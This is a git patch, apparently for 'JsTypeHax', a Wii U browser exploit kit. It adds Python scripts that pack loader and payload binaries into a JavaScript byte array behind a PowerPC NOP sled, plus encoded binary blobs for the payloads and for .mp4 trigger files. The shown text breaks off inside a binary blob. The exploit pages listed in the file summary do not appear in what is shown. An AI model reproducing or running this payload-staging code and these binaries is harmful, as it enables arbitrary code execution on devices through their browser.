From 844dd013b63b6f1708120189df1e3b1de13a216a Mon Sep 17 00:00:00 2001 From: WiiUTest Date: Tue, 22 Aug 2017 21:51:45 +0200 Subject: [PATCH] JsTypeHax --- a.out | Bin 0 -> 67206 bytes code550.bin | Bin 0 -> 11728 bytes codebin2js.py | 46 + codebin2js_DEV.py | 43 + diibugger.mp4 | Bin 0 -> 41224 bytes .../__pycache__/disassemble.cpython-35.pyc | Bin 0 -> 12638 bytes diibugger/disassemble.py | 343 +++++ diibugger/main.py | 1241 +++++++++++++++++ illuminati.mp4 | Bin 0 -> 41224 bytes index.html | 11 + miniloader/build_codeloader.bat | 4 + miniloader/codeloader.bin | Bin 0 -> 508 bytes miniloader/codeloader.o | Bin 0 -> 1680 bytes miniloader/codeloader.s | 196 +++ miniloader/ropChainToAsm.py | 40 + miniloader/ropchainBuilder.html | 131 ++ payload.js | 9 + payload/exploit.html | 250 ++++ payload/exploit_WORKING.html | 251 ++++ ropChainToAsm.py | 43 + startDiibugger.bat | 1 + startServer.bat | 1 + tcpgecko.mp4 | Bin 0 -> 41224 bytes tools/disassemble.py | 368 +++++ wiiuhaxx_loader.bin | Bin 0 -> 76 bytes 25 files changed, 2978 insertions(+) create mode 100644 a.out create mode 100644 code550.bin create mode 100644 codebin2js.py create mode 100644 codebin2js_DEV.py create mode 100644 diibugger.mp4 create mode 100644 diibugger/__pycache__/disassemble.cpython-35.pyc create mode 100644 diibugger/disassemble.py create mode 100644 diibugger/main.py create mode 100644 illuminati.mp4 create mode 100644 index.html create mode 100644 miniloader/build_codeloader.bat create mode 100644 miniloader/codeloader.bin create mode 100644 miniloader/codeloader.o create mode 100644 miniloader/codeloader.s create mode 100644 miniloader/ropChainToAsm.py create mode 100644 miniloader/ropchainBuilder.html create mode 100644 payload.js create mode 100644 payload/exploit.html create mode 100644 payload/exploit_WORKING.html create mode 100644 ropChainToAsm.py create mode 100644 startDiibugger.bat create mode 100644 startServer.bat create mode 100644 tcpgecko.mp4 create mode 100644 tools/disassemble.py create mode 100644 wiiuhaxx_loader.bin diff --git a/a.out b/a.out new file mode 100644 index 0000000000000000000000000000000000000000..7359426dbc38d3737cf26a66e0fbeb2be5488726 GIT binary patch literal 67206 zcmeIwL1-Lh7{>8;Hk)QOQKLqUw$&Ajq)^yPCt=jgzTF z2soA=dJt^DgMy$35d{x9i1gs0h=&RyJ$Ud?p@PsJJXG+|Lm)oiH?zywn@8b4;mN$u z%)6V(Z};8#rB{MdV7;ScBbtLWyD(`%sp`i`t6E@V)^8>CKtGmha8cdMqPvB+^0)Yf z00IagfB*srAbXzn# z(84shdUAjNhVE5#ZRkX3wlnKf(RoN2Rz{Rj<%lw-98<=XDP>v-l{sZWSyon*RppGb zp=>Fsa#6XYysunVK2knWK2ttdzErL#-zis>Ysyc`b>$c3SLLSihjLr_Q@OJ<8<+z6=MBb{No7h|P?nWd{l9_Us}>VEG6oC9@|!a z(Dfl@MfXzmwz8)_r>tH6-IATi)^?(xtSqI0KD$ca7pGFIy4dl}civ2*vpOenc3$sJ zNoyG1oj8XogC z>uZ`HFZ45-ouLlD-_$VbYu48_KUwH)&CXbd-`~*SzJoe^Pc$6zHS1fN-DjY~-{02o zw69rDH9u467j+^3`~GwPK;0R;!+j4vPR&A{-QoJDsReg^>wQnMmVckV%I|eichl^< z@49>axA*k#@997OtH0K1w%VPj*@};MEFQPGW^vu(35zE!e!=1wEq=-3DT`0&mb6B%l1A&T^HJMg@0>r^^gWyMg+`;L%Z^Vk0YoQ6Tq literal 0 HcmV?d00001 diff --git a/code550.bin b/code550.bin new file mode 100644 index 0000000000000000000000000000000000000000..ea793305f07bc60c14d6a4fc7cab16f64a80ca2a GIT binary patch literal 11728 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 literal 0 HcmV?d00001 diff --git a/codebin2js.py b/codebin2js.py new file mode 100644 index 0000000..bef6ef5 --- /dev/null +++ b/codebin2js.py @@ -0,0 +1,46 @@ +import struct +import os + + +j = 0; + +payload = "" +try: + f = open("wiiuhaxx_loader.bin", "rb") + while True: + B = struct.unpack(">B", f.read(1))[0]; + payload += "0x%02x, " % (B) + j+=1 +except: + payload += "\n" + +for i in range(j&0x03): + payload += "0x00, " +payload += "\n" + +payload += "0x00, 0x80, 0x00, 0x00,\n" +j+=4 + +try: + f = open("code550.bin", "rb") + while True: + B = struct.unpack(">B", f.read(1))[0]; + payload += "0x%02x, " % (B) + j+=1 +except: + payload += "" + +for i in range(j&0x03): + payload += "0x00," +payload += "\n" + +#nop +nop = ""; +for i in range(j, 0x8000, 4): + nop += "0x60, 0x00, 0x00, 0x00, " +nop += "\n" + +print "[" +print nop +print payload +print "]" \ No newline at end of file diff --git a/codebin2js_DEV.py b/codebin2js_DEV.py new file mode 100644 index 0000000..3918a6c --- /dev/null +++ b/codebin2js_DEV.py @@ -0,0 +1,43 @@ +import struct + +j = 0; + +payload = "[\n" +""" +try: + f = open("wiiuhaxx_loader.bin", "rb") + while True: + B = struct.unpack(">B", f.read(1))[0]; + payload += "0x%02x, " % (B) + j+=1 +except: + payload += "\n" + +for i in range(j&0x03): + payload += "0x00, " +payload += "\n" + +#print "0x48, 0x00, 0x00, 0x05, 0x7c, 0x68, 0x02, 0xa6, 0x38, 0x80, 0x00, 0x48, 0x7c, 0x84, 0x1a, 0x14, 0x80, 0xa4, 0x00, 0x00, 0x38, 0x84, 0x00, 0x04, 0x7f, 0xa3, 0xeb, 0x78, 0x38, 0xc0, 0x00, 0x02, 0x7c, 0xa5, 0x34, 0x30, 0x7c, 0xa9, 0x03, 0xa6, 0x80, 0xa4, 0x00, 0x00, 0x90, 0xa3, 0x00, 0x00, 0x38, 0x84, 0x00, 0x04, 0x38, 0x63, 0x00, 0x04, 0x42, 0x00, 0xff, 0xf0, 0x7c, 0x21, 0xf2, 0x14, 0x80, 0x61, 0x00, 0x04, 0x7c, 0x69, 0x03, 0xa6, 0x4e, 0x80, 0x04, 0x20," +payload += "0x00, 0x10, 0x00, 0x00,\n" +j+=4 +""" +try: + f = open("codeloader.bin", "rb") + while True: + B = struct.unpack(">B", f.read(1))[0]; + payload += "0x%02x, " % (B) + j+=1 +except: + payload += "" + +for i in range(j&0x03): + payload += "0x00," +payload += "\n" + +#padding +for i in range(j, 0x1000-4, 4): + payload += "0x60, 0x00, 0x00, 0x00, " +payload += "\n" +payload += "]" + +print payload \ No newline at end of file diff --git a/diibugger.mp4 b/diibugger.mp4 new file mode 100644 index 0000000000000000000000000000000000000000..141420ab31d95ad09f5af5d784397cf564792e0b GIT binary patch literal 41224 zcmeHwe{@sVo#%a$u!SXv%&HkDaap-Ii47(=KvK!SBw+(KHo=WehD@1aMG{yOVY{|W zL|3*XOj0``T^o}QX>DT~V95#Yp&N3Rb_g+BnwW%kXu|Z6#DHm>jY-&9lF%&#H*Y`R z``(jfStKOWKX&HmohtXe`~BYU{ru(xY@!?#Jkxkisr4N_;e-{dgm|!yk8}pfGe%C+9~|X{ZnAz54@zwyzGyf#|ZpGQTS<5FauyiH-PB@I}-~FXE0MiO+RbN=6;*8 zpp7wmpUPKg6GDZi-QP5iEZ108OsjNc|FdXehzrP#IMF_x0{@vV`44Dh71RJXv|Ll; zJjH2QM|KNN@i$)L4e(3_PV*3s+@DowD@}(FWI9%)JVUUqb?|BU5ct#(4&8Gd;2AWN zouYPe)Yx04v9FyXJQ_bTR}zI>b*m^$uXczk>@pPK%u z<4*a%d_L9?XPo{X0nR? zELslYPo6)M)5bH=puU0{@xy{p2zljyjFpR@T`LG>9e^Lc)EMz;OWbfu0Mg_>l5?p&c?yh0!M}4 z!U;V6E)g02WkWTAIZVaLIp$(vIK=6KxJ! z6WT1a>1Z?2rlB>VHKI*NYe1WZR*%+*R*TkvR)ba_epJi49Pstvz}6OzdSAt>_io{S zZ5?PQ9Z&eEW=|XRF0EY@v&=-curReLbOL#3I@Y}ncla&EqG-7*`Ge?uX)!Sst?^xV z>9mNw*_Q0z>$~n|JHH|g^of@&9e%vbS&7=BNi6@F0z?IfO2C$0^=Ja04n(%X%g=+0mj-F8;l?O@g2VYa6G z7^{ISE?bzLw8D?9Heq()zue)c+?9`-(Hb(ae2e~Y{@>{bkt6lN-mA>k%lg9wsLNg% ztK_+HP?9_7eAf@zM-|x@w25L+yxkZ)ce~NnC-R!Y+|L#w2DGJ2UydEPM{7MV|@8o`mIHxg$tL#gNZ^YSRlC=YyuV6} zHkST0_EJxmV2_4=d!KljbU{2)ex;VyhHy6Kyg1*q;D=mCYr`AB+Xqau;3@uG(XPgG zKV$cV80&ux_djGR`;XbSKrPl08)HvrF~PE8LZ`teDs9j;_76-5j4m_=pUSfFSe55q z@C2t@(s4Ia1<4La#WR+>fZIODANXK}k!%(iHCKWMf$I7tHrNewZ2OSpFcbcM+S@8J z5D(>|xJ}mk8D4uFW3=ApAXlZgonW*d%$(P!9s^$|Ek(D^4z`s-A8au2+&q8a75vUF z^26u;B<(ZU{to0_qDyuoU%}d_?#f_Vj4?iKoh+~QbF7(mW(Zpc8WbNkw z^pT0U$bv3%po?761?FkT-g&m!Ii2qjh(2^vDeH*uts^?ZIIbh2agnikySQKMv{)m4 zu`RrAerE7V8^uy6@ccZ#^*n5x!P4Ld)55c5ncxo=^r2smenaOm>=j_o&I_;&av5aK zGzXLV0jD#BjBpX;g)Yp&OPl8xkw$n*tvA-zXr0#Ay+{T1x8Bg!uAQFaNCT__)fzX?AZfxkfC@F|KRJ^2@p zCGs!XF3LF;Vj$vQJkJ1!Y({zy!$%`>K>uAu%*r?l_5TJ8qm&Ky&|ay_uFu9s5r_@ z-$zZl`Yui0>bc2B>|0Q8v@uqJnsULDsEtsge1C3;pwXLbW;jl3OFC$pT8@4 z40*7Ed_nQS5aw#b9DL2e9PqvPHG~!WX*T2A4(&^>V26$Dt$Nm~)7$%mwN%FtZN6^6 zcM<<8qK{mRd$oz@WUP^pPcOx1Ol=cP8s_~OOiO&Drc{G2@vQ>i2Y76foN;1Pl2^!$ z_!wwlJjMxL%7>`g9M&4dHsy_c#EdOC5=O3Y{++a+r5r*r!*d973dIWX-VGei6UId6 z5{gSjccAHA&_{kKxWbq>yiOaUdbn$y&H&%M3LOcgYv^eP>0KFjvpVmv>UxMC=y!rv zN=Qt;Of)S2S=T`Mlwgo^NAQQGHv7@f1C*bM53&VdYFppugTw>o??KDD07D&rfMSE> zru@X^E<#*FZpu#zk31h_OZ|isn>%P8%%Q>@J?0uFl#AD|f%Zh2tKzr?KXHrpA z4j3W5BgX06GZV3|%`d_Gw&#%t99R=y=5>Vu^OppA=FmI4w7}7MJeH9!(gQ*44Y6kn z2EV23A#8!*g?mU3ie1CsQ}={ESMLbVR__Fzf;6ob{A0kHYQ&nFhV?ETYbrm3AUvW8K8-wA zVNBZ>;CJOqJYa3>m-6fX9>aK{d-p88bq_;LG%J0(J$0lA=WozMDDS~H`?qJL4!17t z=DOPMNFD7C&(d-|UzlZtKd8EnrJgFnnO)a~)YEzQzB#&GNIg@8ebx4G>R4XWTUpz8 zr(Vjxz_ivXutk6=y91Ko2F<4XS3)p zM4R{L8728?Ga3{d5k7F$7;{Fp6Myfi&;pFx5Ab24MdL^>&lc!Ge(Z4%luXp`-INr%wl%tc#@b~^em zp-r*(rCdR)v-jz!uEF}O*Q1?b@0&4-b|&z~(B5M2yM^XM-J=^q`?^2CP^e^H*G z9ASQS#g=681XZavo8L25--^kIg4V9cnJ;ZPeph^uDlsu zUvWC~W5cm$zMQ`q`mf3#c!--*ZGE2|jKf3fP4Hm+syx7U2A;Q(zroLNJe^SP22Z6C zo=`K9UzCdK1vOmD;&OkmbHB~ri}!lZG}!DtnnTEkw67iw-uZ^V zRnx}Tg<$UM#&Yq!U+}y;9eG!#MRZVi>G>GjwZmIFK=U4=*>AJIEM5xkKz`~GM~nJ{ zBa|N>c?o+Q)c8d^kOSqjht{^|{M!#r&3n`zoA<)EVs6aYa-yNK<#)3i7W@e7%gfhn zmfztFu2kn+{kt@COLn7i5+5Ynvz(uH;xqVUDdo%&=#b7FS>7<6`KEgFGYohq$;@Hg zhb|bjtFuh^1E1p7+p=znF`Qx02SoclU2_q`83qGde9K}mqSeDM=$!!zWsb0#H!E59fe{|D4d4p0Ni~0%g(60J<-yd+!Yhi}qkHP1Wt1hC6@djyq z{^R`6vsk;f^7Z6&=$F!26X<;db>(qojimWtulZ#An7-RWyU_=l6214PV_wREQNHxY zKSe(i4bZZ}No$$1E^$A~me)7H zW9^Lni8s79`AQ+XMRaIIv2gBXyeqTW_<9CA!C%*eS0JwBems}b9vkZA;Q*KA}P0+}-*?L99wt=7BN%|W(7TS$xxi+faYsf1XM+VBp z|9h$vw9pO_Kjb&$Bk%$Eo^&o6*o1vgGu8^&ymjvj{JX1i@snSWeQ|!jnDig;+-~f2 zz_-fO`&yrS0cVbyj4itj`UTH$pBVzZ#pFwbtI*wY%%ENHW4_MYIPKp6&hyMCt8Yjf zG&pT}Ec|gu@kL3_^KXZC!#5)};Q15f;-4-l&%iN2?hD|j0r$LCGzXG~6`p`QXzoeA zO#TFT2)Hkq`|)v2kG5a(v5~#N>4~aQXl;qqD8z#@7shVp`KoYWC)Q>S`HnIV<)cp2 zIRO{G3&32!T?x7+lvl{#!qtdN|8|d!kNjIW2jfbmn9i_ z?6zV*tq+KGs@(!q1Jao$ol8n*DVjAFE#kEuc@*^{_kYAqklr)&t3p)2kp0OA%f$<+ zeBMZGpPx_uJMVE-(AKM|rLocQEdp;E5N&3s!79lLw|pe^(W`CF63PDpXit+ zzl_x(=MA!SStvF>JrJ??(NAg56tOqQLrn^t_Ng+Atc>QdTs-GdWU%+D7f<-fx$l7H zfxIKP&d%%6^;sCcN4}7Hu=Ria6aOx+b?b9}#s0*5paJIwp=oq3h#Cz0K73ySpFcPS zZxhEm9LU7?(eTSBG=?l3 z%l)m#5ue;whns_)uwgGd9BvsnNIIZ*4PhbmV8IA#??EQCB9>4{$Z%EgcOgKwAOqXCN! zF?((!WOqGdk@70W;C&tJf!J2)(cX&oCzAiOwBXov|CDbQWFIFRb=k@H-~C2(uEz5; z%%6q1Xpf7tu#eM8=fKB$F0F}}yMgkU6*&1!sz02TC-{3)dB4Q$M?X0YJU{KhqVuo< zM@)_)ug9rH&p!TTwP+AIVA8%Oy6(Hdxd-Mtpu_-VL0*2hjLQMJsNWn&PE+()E?&+8 zteyNLRI87ClZAf6_91-yikPPy8%AEFm?ztH;S87F74dgO=%;+3(EGCZFBkvMVTHGH z@tt2_?jw1_h|eRsK8iW)c@EOIwXJ(zm{cQ4v8kdQF*qqUWASkIhxZ-*9T^6%>>KIi zCl#WPY(6UmKd@U1Y`Qq-&V9-PZ@d@0s}dxF+O)B?O-!}Bk1 zhBx~bu@-p8Nxn#&$T^hfAjF9+^jUz`E6f*(XV~yzvH|S}TK}80Ho-5SOxpDVqGA$&T|r+R{NES>4o_h-sn{ChCG zQ^k3Db<5nW%9iZe4OAOrE*+=FkmT)`*aqcvIi+YCnEO zflPEp&H0!4R{A2}78TUcH&Oa5yc0TsI>OLVr0XTyGU^1iK}kt{Y@nJYD-_SUg?B&xw~?;^{gh!>Z%( zxmAYI_c5`))Got9abVkISUg>K$}rlK#L)aXlVJw{6BNG=7yVo-`}R0}`z7NXC!DUL zfu1Nljf{6S3Xk+pc>Pg$OvdYv!n;cR0B?_iC*$mq=EK@Gh2MewGRzPMc0hv7D2)R< zD8pQFV25N_Je?nwVexErM26+Wp*bkQ4D@|ejLrv+%j3*(U_F>P)A7D*c|E?cvo8F-fQQb{vKlnTFv90tzMV_mY@afsS)o?J1H*@qm z7w|9rO`Y;Cc<-D2Sl<=C6qxkhe(#%9gT=y<%zIDo;e5+5)H_LS7e{P`sATB7J*>w< z;ktf`Ne$J>`LDAq)UwhyNGU8U!W(euJVU_)PNxFnXUfHI`GXhbTFHUfz~7U%%|o3) z-x!yRV{MO$m)f2ZFSo_{`|^#Y2E3D1q1O5HF!4w9=sU6?Xex7rzamZ0(crwFXyOb& zJWyThHf?ZhbenvQ9=FTnt2fm*xa&;5$LdWD4xh6Yed|45cazECGx>nq#Bn_v-S?!F z)<5Rng$~Dd$13!Gr9dvcY{P=y$SzxqT6(*$5ij+v$^t8QW|sfOn2s* z*O(gbRc;n4H;a^;#nMem<9$lc{mRX^l^e5iW07uB8t=``lPTY;+$>aX7AZH2`3;co zQ+n=KZoaMDn3Wp~ze#Cas8C+0P+q7|UZ_xBs8C+0P+q7|UZ_xBs8C+0P+p`^UL;XY zNhy9%7OX+0N2GSNLLm5uJEChiWk^>C?2nteW)9@YgCMmD=mk9mBx_01D*a!<;`_01-yqt4Xi z^LV|4NYqS^)xzmGCGMP_CR1Z`T^%NeTd=BC54xS3sI79>xfr{%$+X@9d>2IZ04~hd zUlzXkmKVQ+_+1fZ&v4-vs9IH4=kf7z_0C7#xRYr3s_?j~L4IE1A(~aIDm+a-cb$Y| zcaj^@{j#c6h>sFaBfl^9);GENgY-Ik@ zb7iBazR}~`ERBh@raiON6k~&>|2J(d8ab>GOwpW8r~%L6E`d2$Bqr| z?=-ucVM~&u&L#J8dhkCtG&j*jI9|8Aq1xkol>bAkGzK%t*{c|t?-7UdQHh^*>*|}< zHPtmVdg^@ZIlW~LpTo;aikEqtn`$3))NR15jFlCa)opTkJucW$>0G&Vr5#z+xva5% zV~KmcquJ{#bvqi^4f^?nfGvZbtLvi&fc~;7N%K-$ywSA;gy96ss_ZUTvDbs-E&HwH z?@c^v)_FaTtRn+6>6x)6w~ub?DMB9M(Sv`;R*oKr9660VVhNX`3oWPRr1+8VIbHIc zrrHSH>p%=PQfxg`X)mD&qOm2k#+a(yjaYr?85jQtXN4a;h<~ibF5ICPs4o-0G#t4g zs)QYE$;|%g)9tKemyl`?s{TI7Za+Vhu%xjzQ9Raz`x4$G^;M(qWK3Tz`o?4W0;2do zb7J~B(YH3HZx8ymMfDMXhtYQgtrz?mz+Uk#VF~zKnPgw8u*YQ^5yf8vEyAA}_gBzI zvgI)Q%-SUw+^a6b*qz#ElYf%*(`h}LKGiN^Q{-v-1IfZ zrelm(6n{hdrg_s!Fk=anDbptSHo(!wg=3s>0C1d;04`nBH;6tP9!V#3QQv9wRpOp- z=>kj`L!S%xioWpac`-QHB~&KaOU|F;Twtuq0KEOcv*AY<^<|>(H15f!bYXs#SrlI- zn_Pwdv&cRAR3O)@Ub0JQNJ+96Lv=HmUB~frfe-t?Rt-Kffu9?}|LL@)J(^y%G-fGR zw>*l*^oZh62`HRa#&8$xQ@NxG2ooAya!xV$VvIS3F{2oBO5ux-0bhNpbr=RwIbRr8 zd{!BVxzzYF;6wo9hGOP=1cR24ex}Z)E)d1np&xc;>RdG#M)JtxCgw6>E+57n#JGSw zZh4P}>kc7?Uc?@7c8cN~THG6fqlLc6xfR$U!00{}242*V|MjbYRT2U&>Kg?&7zr(G16!VbX@mY{G&vFX2UUi>pHK;Fp=iOm$4!chE5Iu8Oc!wt6G#N~E zX|BVf_Hi6!8)~E}xhibZj_Q zG>YPzknL6j==J%7>%XRU8g}TP(Utx<I7S<5>yZgR(x&6Ow)X`z>}_+l5ouE1p6 zHqhSWH4yfqHSoU=qouq+7xm?c;)~?pnbd)c`fTW{MoTuMi~6eNKDwui@R0*wtVHXA zoeWE1r(FWA0)46qT2!SROn9BZBj2vUI$>BAg;zd-N4Xs_@ZxdA))C;@ihAKORIUpTLN(_rivnm4wOo~O{^TuSo_>UBeS3(YU%Lucu|7Uy5; znf%`=bYw7>OX5d*gRb=7EI$f9=~HEGSNLHHpI?iP?cmp;BdBjpLmcBTOrAR=s19cd zs*h`Ay=aXO{Z`UXNMiUV^dUoAZrUg|04XqGB5%ES_0ep%)Ud3UqS~7A4vE>!UqyQknn+o4ARh*_L1?GRZrnVSxa1 z2Q(!_%1iFUNgO9>lQ?eEHf@tOO`En~eWhLf=~q9zvii}r=C?n^M_=h|wCdwUK&@y5k%_lW$nB>p`Ld<<7`-V-tS?}%|_J|zX< zDKVayv^LS75t9|uC8k?U4<9od#N@>E>RTK2`92+FlfJlF%oZtjO94;fnXO{_#cY$J zD+P=^AZAcr6Dfeib}>VWr^VbMW{2V+w^PiWii0jj{)m`e@|q(B@GvaqF1-b2?iO>8 z;^1nxm=Q61^f9paQ8D-GE%2EabD!d1=6*4I6$jh<#OzlbBt9nQfZ`D0pqN97Ly!l= zJgE2h?6 zVooRy@t+j)am9Ct`2{g26^ANLiFr!#JHUi;wXk1+4r#;={hbD?U8r_r!-jzb8I4`F-(Wm){p3UhxOwL+3vb zAKvnZ;=_M_C_b$7N8-aS&;zXY$KoHA;!Y`yiusY4KT*!d#QdpD=Km~oOV!Yw$K`(t zzdqWy%6{EJ+$p3=^VPZ=VWnyvQAq0P#tpyT#b%CR6G1=0E`ZQk!Z5bpO*}PQwX+l)WYKN=~C%jr80G*vRp1zrcE$)&YwS1EbbexROY8kmCC+_>7eS{ zDN`)YEX~g=7EA|$zc5qs_b*-zv&NsT82{8Z5D2IMaqJ*qnKKvPA+akR}F^JEnPu-4PABcR^LEYsixw4sdaIA;Ufty zcalrBE)f34y4sCKWYKF5J#_ogF+1GqIr`{zy+4_EClXe2)k>i^Q>+Fp-;8Xv!M{@V 